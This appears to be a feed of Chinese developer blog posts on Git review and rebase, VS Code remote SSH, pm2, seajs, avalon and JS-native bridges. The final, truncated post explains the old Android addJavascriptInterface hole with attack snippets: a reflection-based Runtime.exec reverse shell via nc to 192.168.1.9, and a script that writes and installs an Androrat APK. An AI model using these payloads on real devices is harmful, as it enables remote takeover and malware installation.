aslinwang 2021-10-09T10:46:53+08:00 kejinlu@gmail.com 利用工蜂进行code review 2019-07-02T00:00:00+08:00 aslinwang http://aslinwang.github.io/2019/07/git-cr 目标

通过设置git.code.tencent.com中的项目,达到团队内进行code review的目标

操作流程

  • 维护两个分支master分支、dev分支,这两个分支只允许merge request。master分支存放线上稳定版;dev分支存放开发中的版本,用来生成预发布版本或体验版本。
  • 开发新功能或多人协作时,从dev分支拉feat-xxx分支或feat-v1-alice分支。(分支名供参考)
  • 在feat分支上开发代码,直到该feature完成
  • 及时拉取最新的dev分支的代码到本地合并(git pull origin dev –rebase),防止在merge request的时候冲突
  • 登录工蜂系统创建merge request。注意填写ReviewerAssign to(见“merge request流程”)
  • 等待code review通过
  • Assign to负责完成合并
  • 完成

merge request流程

  • 进入项目,点击左边栏“Merge Request”

30%

  • 点击“New Merge Request”,选择要merge的分支,点击“Compare branches”。左边是自己的feat分支,右边是dev分支。

30%

  • 填写ReviewerAssign to后提交

50%

code review原则

  • 尊重他人,就事论事,对事不对人;
  • MR 需从一个需求分支(分支的名字尽量能表达代码的功能)发往上游的 dev 分支;
  • MR 中的每一个 commit log 都应该可以和代码对应,方便 review;
  • 尽量不要发太大的 MR,以免引起 reviewer 的恐慌;
  • 建议保证一个 MR 的粒度和专注,最好不要出现一个 MR 里又有重构又加新 feature 的情况,同样容易引起 reviewer 的恐慌;
  • 提 MR 之前请确保在本地或测试环境一切正常;
  • reviewee 如果接受 reviewer 提出的修改意见,需要在修改提交以后知晓 reviewer,常见的做法可以是在 review comment 处回复,并带 commit 链接;
  • MR 合并者与提交者不能是同一个人
]]>
多人协作中git rebase的使用 2019-06-26T00:00:00+08:00 aslinwang http://aslinwang.github.io/2019/06/git-rebase 使用背景

在多人协作的场景中,经常会出现多人在一个分支上开发,一般各开发者会基于这个分支拉一个本地分支进行开发,然后合并到共同分支提交。如果采用简单的git pull、git merge、git push,会导致提交日志出现混乱的菱形。如图:

实际操作

前提: 多人在dev分支共同开发,个人负责模块A开发,本地建立feat-A分支

1:如需更新dev分支的代码到feat-A分支(实际开发过程中需要及时更新,避免大面积冲突): 不需要在commit之前执行git pull origin dev –rebase,可随时执行,执行时实际上是把dev分支合并到feat-A分支上,并且将feat-A的提交追加在dev分支最新提交的后面

~/demo on feat-A
$ git pull origin dev --rebase

执行以上命令的过程中如果遇到冲突,在解决冲突后可执行:

~/demo on feat-A
$ git rebase --continue

执行git rebase –continue后,可能还有冲突,继续解决冲突,执行git rebase –continue直到无冲突为止

2:合并feat-A分支到dev分支上

~/demo on dev
$ git pull origin dev --rebase
$ git merge feat-A
$ git push origin dev
]]>
vs code远程开发配置 2019-06-21T00:00:00+08:00 aslinwang http://aslinwang.github.io/2019/06/vsc-remote-dev vsc远程开发

2019年5月3日,在PyCon 2019大会上,微软发布了VS Code Remote,这意味着在本地使用vs code几乎所有的功能进行远程开发成为可能。我们可以像本地使用vs code的编辑、查找、代码提示、各种插件一样,无差别的开发远程服务器上的代码,而且无需在本地存放源代码。目前,在体验远程开发特性是,在连接远端、打开远端目录的时候,有延时感,但是在5G正在来临的时代,相信这种开发方式的开发体验将与本地开发无差别。

本次微软发布了三款核心的全新插件,Remote-SSH、Remote-Containers、Remote-WSL,可以帮助开发者在物理或虚拟机、容器、和Windows Subsystem for Linux(WSL)中实现无缝的远程开发

以下配置步骤以Remote-SSH为例,依赖:

  • MacOS
  • ssh

配置步骤

vs code安装Remote Development扩展

创建ssh key

创建ssh key,建议不设置密码

ssh-keygen -t ecdsa -b 521 -C "aslinwang"

将生成的公钥(id_ecdsa.pub)的内容复制到远端服务器的~/.ssh/authorized_keys中,如果文件中已有内容,直接追加在文件末尾即可

配置本地ssh

为了方便vs code连接服务器,需要对本地ssh做相关配置

1、如果服务器允许本地直接ssh登录

Host aslin
  HostName xxx.xxx.xxx.xxx # 远程服务器IP,~/.ssh/authorized_keys需要配置ssh公钥
  User root
  ForwardAgent yes
  IdentityFile /Users/aslinwang/.ssh/id_ecdsa # 本地ssh key
  ProxyCommand corkscrew 127.0.0.1 12679 %h %p # 本地网络代理

2、如果服务器需要通过跳板机登录(跳板机不用走本地网络代理)

本地需要安装ssh-pass

Host aslin
  HostName xxx.xxx.xxx.xxx # 远程服务器IP,~/.ssh/authorized_keys需要配置ssh公钥
  User root
  ForwardAgent yes
  IdentityFile /Users/aslinwang/.ssh/id_ecdsa
  ProxyCommand sshpass -p [跳板机密码] ssh -p [跳板机端口] root@[跳板机IP] -W %h:%p 2> /dev/null

3、如果服务器需要通过跳板机登录(跳板机需要走本地网络代理)

首先配置跳板机ssh

Host jumper
  HostName yyy.yyy.yyy.yyy # 跳板机IP,跳板机~/.ssh/authorized_keys需要配置ssh公钥
  User root
  ForwardAgent yes
  IdentityFile /Users/aslinwang/.ssh/id_ecdsa
  ProxyCommand corkscrew 127.0.0.1 12679 %h %p

然后通过跳板机访问服务器

Host aslin
  HostName xxx.xxx.xxx.xxx # 远程服务器IP,~/.ssh/authorized_keys需要配置ssh公钥
  User root
  ForwardAgent yes
  IdentityFile /Users/aslinwang/.ssh/id_ecdsa
  ProxyCommand ssh jumper -W %h:%p 2> /dev/null

vs code连接服务器

打开Command Palette

选择要连接的服务器,这里出现的服务器都是在~/.ssh/config中配置好的

进入vs code远程编辑窗口

50%

如上图所示,甚至可以编辑服务器的全盘文件,下面的终端窗口,可以直接使用命令行操作服务器

]]>
pm2报错“ENOENT:no such file or directory, uv_cwd” 2019-06-20T00:00:00+08:00 aslinwang http://aslinwang.github.io/2019/06/pm2-uv_cwd bug描述

pm2管理的node应用,突然报错,重启也失败,显示:

查看pm2日志,显示:

解决方案

参考https://github.com/Unitech/pm2/issues/2057

  • 输入ps ax grep PM2,查看pm2的进程号
  • 输入ls -l /proc/PM2_PID/cwd,检查pm2的工作目录是否被删除

如果pm2运行在被删除的目录上,用pm2 kill杀掉pm2进程后,重启pm2进程

]]>
seajs-2.2.1依赖解析的一处bug 2016-09-05T00:00:00+08:00 aslinwang http://aslinwang.github.io/2016/09/seajs-2.2.1-parseDependencies-bug bug描述
require('tmpl', '<%var a=12/3;%><div><%=a%></div>');
require('page', function(require, exports, module){
  console.log('page');
})

如上代码,如果使用seajs 2.2.1版本,将会出现模块解析的错误。原因是require(‘tmpl’),模板字符串中有算数表达式12/3。而seajs在计算模块依赖时,使用的正则表达式未处理到这种情况。

seajs 2.2.1版本

var REQUIRE_RE = /"(?:\\"|[^"])*"|'(?:\\'|[^'])*'|\/\*[\S\s]*?\*\/|\/(?:\\\/|[^\/\r\n])+\/(?=[^\/])|\/\/.*|\.\s*require|(?:^|[^$])\brequire\s*\(\s*(["'])(.+?)\1\s*\)/g
var SLASH_RE = /\\\\/g

function parseDependencies(code) {
  var ret = []

  code.replace(SLASH_RE, "")
      .replace(REQUIRE_RE, function(m, m1, m2) {
        if (m2) {
          ret.push(m2)
        }
      })

  return ret
}

新版本seajs改进之后,bug得以解决

function parseDependencies(s) {
  if(s.indexOf('require') == -1) {
    return []
  }
  var index = 0, peek, length = s.length, isReg = 1, modName = 0, parentheseState = 0, parentheseStack = [], res = []
  while(index < length) {
    readch()
    if(isBlank()) {
    }
    else if(isQuote()) {
      dealQuote()
      isReg = 1
    }
    else if(peek == '/') {
      readch()
      if(peek == '/') {
        index = s.indexOf('\n', index)
        if(index == -1) {
          index = s.length
        }
      }
      else if(peek == '*') {
        index = s.indexOf('*/', index)
        if(index == -1) {
          index = length
        }
        else {
          index += 2
        }
      }
      else if(isReg) {
        dealReg()
        isReg = 0
      }
      else {
        index--
        isReg = 1
      }
    }
    else if(isWord()) {
      dealWord()
    }
    else if(isNumber()) {
      dealNumber()
    }
    else if(peek == '(') {
      parentheseStack.push(parentheseState)
      isReg = 1
    }
    else if(peek == ')') {
      isReg = parentheseStack.pop()
    }
    else {
      isReg = peek != ']'
      modName = 0
    }
  }
  return res
  function readch() {
    peek = s.charAt(index++)
  }
  function isBlank() {
    return /\s/.test(peek)
  }
  function isQuote() {
    return peek == '"' || peek == "'"
  }
  function dealQuote() {
    var start = index
    var c = peek
    var end = s.indexOf(c, start)
    if(end == -1) {
      index = length
    }
    else if(s.charAt(end - 1) != '\\') {
      index = end + 1
    }
    else {
      while(index < length) {
        readch()
        if(peek == '\\') {
          index++
        }
        else if(peek == c) {
          break
        }
      }
    }
    if(modName) {
      res.push(s.slice(start, index - 1))
      modName = 0
    }
  }
  function dealReg() {
    index--
    while(index < length) {
      readch()
      if(peek == '\\') {
        index++
      }
      else if(peek == '/') {
        break
      }
      else if(peek == '[') {
        while(index < length) {
          readch()
          if(peek == '\\') {
            index++
          }
          else if(peek == ']') {
            break
          }
        }
      }
    }
  }
  function isWord() {
    return /[a-z_$]/i.test(peek)
  }
  function dealWord() {
    var s2 = s.slice(index - 1)
    var r = /^[\w$]+/.exec(s2)[0]
    parentheseState = {
      'if': 1,
      'for': 1,
      'while': 1,
      'with': 1
    }[r]
    isReg = {
      'break': 1,
      'case': 1,
      'continue': 1,
      'debugger': 1,
      'delete': 1,
      'do': 1,
      'else': 1,
      'false': 1,
      'if': 1,
      'in': 1,
      'instanceof': 1,
      'return': 1,
      'typeof': 1,
      'void': 1
    }[r]
    modName = /^require\s*\(\s*(['"]).+?\1\s*\)/.test(s2)
    if(modName) {
      r = /^require\s*\(\s*['"]/.exec(s2)[0]
      index += r.length - 2
    }
    else {
      index += /^[\w$]+(?:\s*\.\s*[\w$]+)*/.exec(s2)[0].length - 1
    }
  }
  function isNumber() {
    return /\d/.test(peek)
      || peek == '.' && /\d/.test(s.charAt(index))
  }
  function dealNumber() {
    var s2 = s.slice(index - 1)
    var r
    if(peek == '.') {
      r = /^\.\d+(?:E[+-]?\d*)?\s*/i.exec(s2)[0]
    }
    else if(/^0x[\da-f]*/i.test(s2)) {
      r = /^0x[\da-f]*\s*/i.exec(s2)[0]
    }
    else {
      r = /^\d+\.?\d*(?:E[+-]?\d*)?\s*/i.exec(s2)[0]
    }
    index += r.length - 1
    isReg = 0
  }
}
]]>
avalon试用体验报告 2015-07-03T00:00:00+08:00 aslinwang http://aslinwang.github.io/2015/07/try-avalon avalon是什么鬼

avalon是一个简单易用迷你的MVVM前端框架,为解决同一业务逻辑存在各种视图呈现而开发出来的。作者是前端大神司徒正美。 avalon将前端代码彻底分为了两部分,视图的处理通过绑定实现,业务逻辑则更多集中在叫VM(ViewModel)的对象中处理。操作VM数据,就能自然的同步到视图。

avalon的优势

一个绝对的优势就是降低了耦合,让开发者从复杂的事件处理中挣脱出来。其他优势如下:

  • 使用简单,上手快。作者声称自己吃透knockout,angular,rivets API设计,avalon并没有太多复杂的概念,指令数量控制得当,基本覆盖所有jquery操作
  • 兼容IE6+以及其他主流浏览器
  • 向前兼容好,不会出现angular那种跳崖式版本更新
  • 注重性能
  • 不依赖其他框架或类库,总体文件行数不超过5000行
  • 支持管道符风格的过滤函数,方便格式化输出
  • 操作数据即操作DOM,对VM的操作都会同步到View和Model上去,尽可能减少DOM操作的代码
  • 出了问题可以抓得住作者(这一条是正美在CSDN上说的,也算一个优势=.=)

avalon导论到此为止,下面是avalon试用体验。

一个avalon使用实例

上点代码来看看avalon具体要怎么玩

<!DOCTYPE html>
<html>
    <head>
        <title>avalon demo</title>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <script src="avalon.js" ></script>
        <script>
            var model = avalon.define({
                $id: "test",
                name: "World"
            });
            avalon.scan();
        </script> 
    </head>
    <body>
        <div ms-controller="test">
            
            <p>Hello,{{name}}</p>
            
        </div>
    </body>
</html>

是的,就只是在页面中打印了个”Hello, World”。 有几点需要注意的是,”{{}}”双花括号界定符是实现属性绑定,里面可以写插值表达式实现过滤器的功能。 avalon.define可以定义一个ViewModel,在里面完成属性赋值,方法定义。”$id”就是指令”ms-controller”指定的controller值,通过”$id”可以将DOM和ViewModel结合起来。 除此之外,类名操作、样式操作、循环操作、显示隐藏控制、数据联动、模板引用、事件处理及路由系统等多个特性。这些特性,本文并不会一一描述,但其中一些会在下一节相关部分中涉及。详细用法可参阅司徒正美博客

avalon实战

最近在做一个腾讯汽车购车通新版本的购车计算器项目(广告植入:购车通,帮您轻松购车!),主要内容是根据各种计算规则和数据选项,组合之后计算最终购车时需要付的款项。如图所示: 设计图

项目特点在于,数据之间有联动;一项数据变动款项值重新计算;按钮状态与数据相关联,radio选中则有数据,否则数据为0;全款计算和贷款计算两边的数据同步…… 以上也是项目的难点。按照传统的做法,事件绑定+DOM操作将是非常恶心的开发体验,光是数据同步和联动就需要不断的重复监听数据变动以及操作DOM进行数据更新。 但是,使用avalon之后,是完全不同的编码体验。下面结合具体的case来说。

  • 数据与视图同步
<li>
    <div class="logo"><i></i></div>
    <div class="label">
      <span>购置税</span>
      <span class="value">{{purchTax}}元</span>
      <i></i>
    </div>
</li>

使用{{purchTax}}方式绑定属性,程序中对purchTax的更改都会自动同步到视图中,无需进行DOM操作

  • 数据与视图同步(Hack)
<span class="value">{{baseFee()}}元</span>
// 基本费用=购置税+上牌费+车船税+交强险
that.baseFee = function(vm){
  if(vm.price == 0){
    // hack:虽然这里计算了这堆数据,然而并没有什么用。感觉是avalon需要将baseFee方法与vm的属性动态建立联系
    var tmp = vm.purchTax + vm.licenseFee + vm.travelTax + vm.SALI;
    return 0;
  }
  return vm.purchTax + vm.licenseFee + vm.travelTax + vm.SALI;
}

在计算基本费用baseFee的时候,有一种情况需要处理,就是如果裸车价格为0,则基本费用也应该为0.但是,如果直接返回0的话,当裸车价格不为0之后,基本费用并不会同步计算。但是如果加上tmp = vm.purchTax + …之后,就会同步计算。个人认为,是因为avalon在第一次计算的时候,会记住属性之间的依赖,如果只是单纯返回0,没有tmp那一句,avalon会认为baseFee不依赖其他属性,下次这些属性变化之后,就不会同步给baseFee

  • 数据联动
_avalon.$watch('price', function(){
    var vm = _avalon;
    vm.purchTax = Calc.purchTax(vm);// 车辆购置税

    if(!isRadioDisabled('.damageIns')){
      vm.damageIns = Calc.damageIns(vm);// 车辆损失险
    }
    if(!isRadioDisabled('.stolenIns')){
      vm.stolenIns = Calc.stolenIns(vm);// 全车盗抢险
    }
    if(!isRadioDisabled('.glassIns')){
      vm.glassIns = Calc.glassIns(vm);// 玻璃单独破碎险
    }
    if(!isRadioDisabled('.fireIns')){
      vm.fireIns = Calc.fireIns(vm);// 自燃损失险
    }
    if(!isRadioDisabled('.scratchIns')){
      vm.scratchIns = Calc.scratchIns(vm);// 车身划痕险
    }
});

通过$watch API对price属性进行监听,如果price有变动,则触发计算跟price相关的购置税及保险费用

  • 类名操作、样式操作、事件绑定
<body class="calc ms-controller" ms-class-loan="loan" ms-class-fullpay="fullpay" ms-controller="root" ms-on-swiperight="swiperight" ms-on-swipeleft="swipeleft" ms-on-touchmove="scroll" ms-css-height="pageH">
</body>

类名操作:ms-class-loan=”loan”,当ViewModel的loan属性为true时,body上的class会增加”loan”类。这这里可以通过这种方式,控制页面显示贷款视图还是全款视图

样式操作:ms-css-height=”pageH”,给ViewModel的pageH属性赋值之后,body上会增加样式”heigth:{pageH}px”样式

事件绑定:ms-on-swiperight=”swiperight”,定义ViewModel的swiperight方法之后,向右滑动页面,可以触发事件,调用定义的swiperight方法

avalon内置的这些指令,可以让ViewModel中只用专注相关属性和方法的赋值和定义,不用再编写addClass、dom.style.height、addEventListener等代码

  • 过滤器
<span class="price">{{prepayFee() | currency('&lt;em&gt;&lt;/em&gt;', 0) | html}}</span>

prepayFee()方法用于计算贷款首付,管道符代表应用过滤器处理结果。这里用到的过滤器是货币过滤器和html输出过滤器,同时过滤器还支持参数传入。最终经过处理的价格由”200000”变成”¥200,000”

  • 模板引用
<!--全款基本费用-->
<li class="base" ms-class-fold="basefold1" ms-on-click="onBase1Click"></li>
<ul class="flist item" ms-include="baselist"></ul>

<!--贷款基本费用-->
<li class="base" ms-class-fold="basefold2" ms-on-click="onBase2Click"></li>
<ul class="flist item" ms-include="baselist"></ul>

<script type="avalon" id="baselist">
  <li>
    <div class="logo"><i></i></div>
    <div class="label">
      <span>购置税</span>
      <span class="value">{{purchTax}}</span>
      <i></i>
    </div>
  </li>
  <li>
    <div class="logo"><i></i></div>
    <div class="label">
      <span>上牌费</span>
      <span class="value">{{licenseFee}}</span>
      <i></i>
    </div>
  </li>
  <li>
    <div class="logo"><i></i></div>
    <div class="label right" ms-on-click="onTravelTax">
      <span>车船税</span>
      <span class="value">{{travelTax}}</span>
      <i></i>
    </div>
  </li>
  <li>
    <div class="logo"><i></i></div>
    <div class="label right" ms-on-click="onSALI">
      <span>交强险</span>
      <span class="value">{{SALI}}</span>
      <i></i>
    </div>
  </li>
</script>

因为页面分为全款和贷款两个视图,而基本费用这一块的内容是一样的。所以将其提取出来,作为模板,在两个视图中分别引用。这样的好处有两个:一是相同结构公用一份模板代码,便于维护和修改;二是将模板的controller写在body层级上,在一个视图上的操作之后的数据变更立马同步到另一个视图之上。这一点正好可以满足产品对于全款计算和贷款计算两边的数据同步的要求。

使用avalon之后,编码工作主要集中在对ViewModel的属性和方法的赋值和定义工作上,数据绑定、事件监听等工作在html中完成。从以往繁杂的事件监听和处理以及DOM操作中脱离出来。avalon还有模块管理、路由系统等强大的特性,可以用来构造SPA项目,本次项目中没有用到。

avalon的使用场景

在项目启动之初,也考虑过传统的zepto方案,但是看着复杂的界面交互和数据计算就放弃了。正好当前正接触avalon,所以就打算试用下。avalon比较适合这种强交互以及数据与视图相互关联的项目,比如内容管理系统之类的。对于偏重展示类型的页面和项目,实际上没有太大必要使用avalon。

虚拟DOM框架react目前正大火,司徒正美也在着手要在avalon中引入虚拟DOM技术,代号为avalon2,相信融合了react之后的MVVM框架,会给以后的开发带来另一种编程体验。

参考

avalon官网

avalon学习教程系列

]]>
TGJSBridge工作原理 2015-06-04T00:00:00+08:00 aslinwang http://aslinwang.github.io/2015/06/how-jsbridge-work 在iOS中,TGJSBridge框架提供了一种obj-c与js通信的方案。使用TGJSBridge之后,js可以方便的调用native提供的原生方法来实现相应的逻辑。

TGJSBridge的使用

js端

jsBridge.postNotification('setTitle', {
    title : data.value
});

obj-c端

- (void)webViewDidFinishLoad:(UIWebView *)webView
{
    [super webViewDidFinishLoad:webView];
    NSString *jsBridgePath = [[NSBundle mainBundle] pathForResource:@"TGJSBridge" ofType:@"js"];
    NSString *jsBridge = [NSString stringWithContentsOfFile:jsBridgePath encoding:NSUTF8StringEncoding error:nil];
    [self.webView stringByEvaluatingJavaScriptFromString:jsBridge];
    
    [self.webView stringByEvaluatingJavaScriptFromString:@"window.onJsBridgeReady()"];
    
    [self showLoading:NO animated:YES];
}

/**
 *  设置文章的标题
 */
- (void)jsBridge:(TGJSBridge *)bridge setTitleWithUserInfo:(NSDictionary *)userInfo fromWebView:(UIWebView *)webview
{
//    NSString *titleName = QNString([userInfo objectForKey:@"title"], _carSerialName);
    ((QNTitleView *)self.qn_navigationItem.titleView).text = QNString([userInfo objectForKey:@"title"], _carSerialName);
}

所以,obj-c端会先获取到TGJSBridge.js文件并执行,然后当js端发送“setTitle”通知之后,obj-c端会有相对应的方法来处理这个通知。但是,查看TGJSBridge的源码,并没有发现有定义包含“setTitleWithUserInfo”标记名的消息定义。所以为了了解通知具体是如何通过TGJSBridge从js端传递到obj-c端的,就需要看看TGJSBridge的实现原理。

TGJSBridge的原理

TGJSBridge框架包括两部分

  • TGJSBridge.js——定义JSBridge类,实现js与obj-c间互相发送通知、js绑定通知与解除绑定,以及js发送通知的具体方式
  • TGJSBridge.h/TGJSBridge.m——接收来自js端的通知,解析通知参数,调用绑定这个通知的处理函数

js发送通知

function bridgeCall(src,callback) {
    iframe = document.createElement("iframe");
    iframe.style.display = "none";
    iframe.src = src;
    var cleanFn = function(state){
       console.log(state) 
        try {
            iframe.parentNode.removeChild(iframe);
        } catch (error) {}
        if(callback) callback();
    };
    iframe.onload = cleanFn;
    document.documentElement.appendChild(iframe);
}

bridgeCall('jsbridge://PostNotificationWithId-' + this.notificationIdCount);

通知传递是通过伪协议的方式,html与native约定一个协议,当html以这个协议发送请求时,会被native拦截。

obj-c接收通知并处理

- (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request navigationType:(UIWebViewNavigationType)navigationType {
    NSURL *url = [request URL];
    
    if ([[[url scheme] lowercaseString] isEqualToString:kTGJSBridgeProtocolScheme])
    {//协议验证通过,被拦截下来,不在向Internet转发
        [self dispatchNotification:[url host] fromWebView:webView];
        return NO;
    }
    else
    {
        //forward
        if (self.delegate != nil && [self.delegate respondsToSelector:@selector(webView:shouldStartLoadWithRequest:navigationType:)]) {
            return [self.delegate webView:webView shouldStartLoadWithRequest:request navigationType:navigationType];
        }
        return YES;
    }   
}

// 通知派发消息定义
- (void)dispatchNotification:(NSString*)notificationString 
                 fromWebView:(UIWebView*)webView
{
    if ([notificationString isEqualToString:kTGJSBridgeNotificationReady])
    {
        //push notificationQueue to webView
        NSMutableArray *notificationQueue = [self notificationQueueForWebView:webView];
        for(NSDictionary *notification in notificationQueue)
        {
            [self triggerJSEvent:[notification objectForKey:@"name"] userInfo:[notification objectForKey:@"userInfo"] toWebView:webView];
        }
    }
    else if([notificationString hasPrefix:kTGJSBridgePostNotificationWithId])
    {
        NSRange range = [notificationString rangeOfString:kTGJSBridgeNotificationSeparator];
        NSInteger index = range.location + range.length;
        NSString *notificationId = [notificationString substringFromIndex:index];
        //processNotification
        NSDictionary *responseDict = [self fetchNotificationWithId:notificationId fromWebView:webView];
        
        QN_D(@"dispatch notification %@", responseDict[@"name"]);
        
        if(self.delegate) {
            @try {
                [self.delegate jsBridge:self
            didReceivedNotificationName:[responseDict objectForKey:@"name"]
                               userInfo:[responseDict objectForKey:@"userInfo"]
                            fromWebView:webView];
            }
            @catch (NSException *exception) {
            }
        }
    }
    else
    {
        //processError
    }
}

在以上过程中,调用了一个“didReceivedNotificationName”方法。TGJSBridge中定义了一个protocol叫TGJSBridgeDelegate,didReceivedNotificationName是这个protocol的成员方法,需要具体的业务Controller来实现这个接口。

@interface CWebViewController : QNRootViewController<TGJSBridgeDelegate> {
    NSString *_requestUrl;
    NSString *_callbackUrl;
    BOOL _shouldRrefresh;
    CWebView *_webView;
    id _observer;
}

// 方案一
- (void)jsBridge:(TGJSBridge *)bridge
        didReceivedNotificationName:(NSString *)name
                           userInfo:(NSDictionary *)userInfo
                        fromWebView:(UIWebView *)webview {
    if ([name isEqualToString:@"post"]) {
        NSString *requestName = @"";
        if ([self.channel isEqualToString:kChannelIDCaiJing]) {
            requestName = kSpeedTestPluginStock;
        } else if ([self.channel isEqualToString:kChannelIDTiYu]) {
            requestName = kSpeedTestPluginSport;
        }
        [self.httpBridge post:userInfo withDelegate:webview requestName:requestName];
        return;
    } else if ([name isEqualToString:@"onWebCellReady"]) {
        [self performSelector:@selector(onWebCellReady) withObject:nil afterDelay:0.5f];
        return;
    } else if ([name isEqualToString:@"onWebCellError"]) {
        [self onWebCellError];
        return;
    } else if ([name isEqualToString:@"onWebCellUIChanged"]) {
        [self saveShortcut];
        return;
    }
}

// 方案二
- (void)jsBridge:(TGJSBridge *)bridge
        didReceivedNotificationName:(NSString *)name
                           userInfo:(NSDictionary *)userInfo
                        fromWebView:(UIWebView *)webview {
    if (![self do_jsBridge:bridge notification:name userInfo:userInfo webView:webview])
        QN_W(@"unknown notification: %@, userinfo %@", name, userInfo);
}
- (BOOL)do_jsBridge:(TGJSBridge *)bridge
        notification:(NSString *)name
            userInfo:(NSDictionary *)userInfo
             webView:(UIWebView *)webview {
    if ([name isEqualToString:kQNWebViewControllerJSNotificationGetInstallState]) {
        // do something
        return YES;
    } else {
        NSString *functionName = [NSString stringWithFormat:@"jsBridge:%@WithUserInfo:fromWebView:", name];
        SEL selector = NSSelectorFromString(functionName);
        if ([self respondsToSelector:selector]) {
            ((void (*)(id, SEL, id, id, id))objc_msgSend)(self, selector, bridge, userInfo, webview);
            return YES;
        } else if ([self.jsBridgeDelegate respondsToSelector:selector]) {
            ((void (*)(id, SEL, id, id, id))objc_msgSend)(self.jsBridgeDelegate, selector, bridge, userInfo, webview);
            return YES;
        } else {
            QNWebViewHelper *webViewHelper = [QNWebViewHelper sharedHelper];
            if ([webViewHelper respondsToSelector:selector]) {
                ((void (*)(id, SEL, id, id, id))objc_msgSend)(webViewHelper, selector, bridge, userInfo, webview);
                return YES;
            }
        }
    }
    return NO;
}

方案一这种消息实现方式,是直接获取通知名,然后做对应的处理。缺点是,必须在这个controller中来做派发,耦合比较深。

方案二利用obj-c动态绑定的特性,以函数指针的方式,获取”{通知名}WithUserInfo”格式的方法并执行。NSSelectorFromString可以在当前类包括子类查找指定的方法。这个方案可以将具体的逻辑放在子类中处理,在子类中定义”{通知名}WithUserInfo”格式的方法即可。

]]>
在APP中实现js与native通信 2015-06-02T00:00:00+08:00 aslinwang http://aslinwang.github.io/2015/06/jsbridge-in-newsapp 在订制腾讯新闻客户端的汽车页卡时,有些页面是用HTML页面实现的。比如车系详情页,车型详情页。这类页面因为汽车运营的关系具有不定期更新的特点。比如车型降价,新车上市等。使用HTML页面之后,有些数据需要从客户端传递过来,也有一些数据需要从页面传递到客户端,也就是HTML与客户端之间通信的问题。

Android平台

Android调用JS

WebView.loadUrl("javascript:onJsAndroid()");

JS调用Android

// Android java代码
mWebView.addJavascriptInterface(new Class(),"android");  

public class Class(){
  @JavascriptInterface
  public void methodOne(){

  }
} 

// js 代码
window.android.methodOne();

弊端

在Android 4.2之前的版本中,通过addJavascriptInterface然后利用java的反射机制,可以回调java类中的内置静态变量。

首先,通过java可以反弹shell,这样可以读写Android文件系统。

function execute(cmdArgs)
{
  return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
alert("ok3");

其次,可以对网页挂马,安装apk到手机中

function execute(cmdArgs)
{
  return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
} 
 
var armBinary1 = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4"
 
var armBinary2="x1BxB0x65x0AxADx23xC2x30x64xDFxEExA1x0DxA4xE8x3Fx61x80xEExBCxE1xE7x7Bx4Ax25x6Fx8Bx36x71xC3x80x81x58xDBxC9x8Fx53x9FxEEx8Ax45xAFx23x54x4AxCFx2Bx52xF2x33x84xBAx82x36xC4x0Dx08xAFxC2x61x8ExD8x7Bx0BxFCx88x4Ax25x24x8Cx22xFAx76x44x78x5Ex99x62x30x44x8DxDBx74x94"
 
var armBinary3=""
var armBinary4=""
// ……
var patharm = "/mnt/sdcard/Androrat.apk";
var a=execute(["/system/bin/sh","-c","echo -n +armBinary1+ > " + patharm]);

execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);
execute(["/system/bin/sh","-c","echo  -n +armBinary3+ >> " + patharm]);
execute(["/system/bin/sh","-c","echo -n +armBinary4+ >> " + patharm]);
execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);

以上流程,可以将apk进行拆分,利用echo写入到文件系统中,然后利用adb进行安装。

在Android 4.2版本中,开始使用@JavascriptInterface,然后在java代码中验证js调用的每个参数,屏蔽攻击代码,可以防止攻击。

汽车垂直化方案 新闻客户端提供两种js调用native的方式

  • url scheme方式 通过伪协议”jsbridge://get_with_json_data?json=params”, native代码重写shouldOverrideUrlLoading来做相关接口的实现和白名单控制
/**
 * webview代码中通过监听onLoadResource触发调用Java方法
 */
function resourceCall() {
  var paramsArray = S.call(arguments, 0);
  var img = new Image();
  img.onload = function() {
    img = null;
  };
  img.src = 'jsbridge://get_with_json_data?json=' + encodeURIComponent(arrayToJsonString(paramsArray));
}
  • prompt方式 这种方式是通过native重写onJsPrompt,拦截webview中的window.prompt并且获取其中的参数,处理完成之后需要调用JsPromptResult的confirm方法。
/**
 * 通过prompt调用Java对象方法
 */
function promptCall() {
  var paramsArray = S.call(arguments, 0);
  var jsonResult = prompt(arrayToJsonString(paramsArray));
  var re = JSON.parse(jsonResult);
  if (re.code != 200) {
    throw "call error, code:" + re.code + ", message:" + re.result;
  }
  return re.result;
}

更多Android下js调用native的方案见此:【Android WebView】Js调用Native的四种方式

将与native通信用到的接口挂载在window.XXX下,调用window.XXX.YYY就可以调用native的方法。

iOS平台

iOS调用JS

// stringByEvaluatingJavaScriptFromString可以将字符串当做js来执行,在全局变量中定义js方法之后,OC就可以调用
- (void)webViewDidFinishLoad:(UIWebView *)webView {  
  NSString *currentURL = [webView stringByEvaluatingJavaScriptFromString:@"document.location.href"];
}

JS调用iOS

js调用iOS,用到了开源库TGJSBridge。其基本原理是利用伪协议”jsbridge://PostNotificationWithId-“,在native代码shouldStartLoadWithRequest中捕获并解析请求,然后调用相关的native逻辑。使用流程如下。

// js向native发送修改页面标题的通知
jsBridge.postNotification('setTitle', {
  title : data.value
});
// 初始化jsBridge
- (void)webViewDidFinishLoad:(UIWebView *)webView
{
    [super webViewDidFinishLoad:webView];
    NSString *jsBridgePath = [[NSBundle mainBundle] pathForResource:@"TGJSBridge" ofType:@"js"];
    NSString *jsBridge = [NSString stringWithContentsOfFile:jsBridgePath encoding:NSUTF8StringEncoding error:nil];
    [self.webView stringByEvaluatingJavaScriptFromString:jsBridge];
    
    [self.webView stringByEvaluatingJavaScriptFromString:@"window.onJsBridgeReady()"];
    
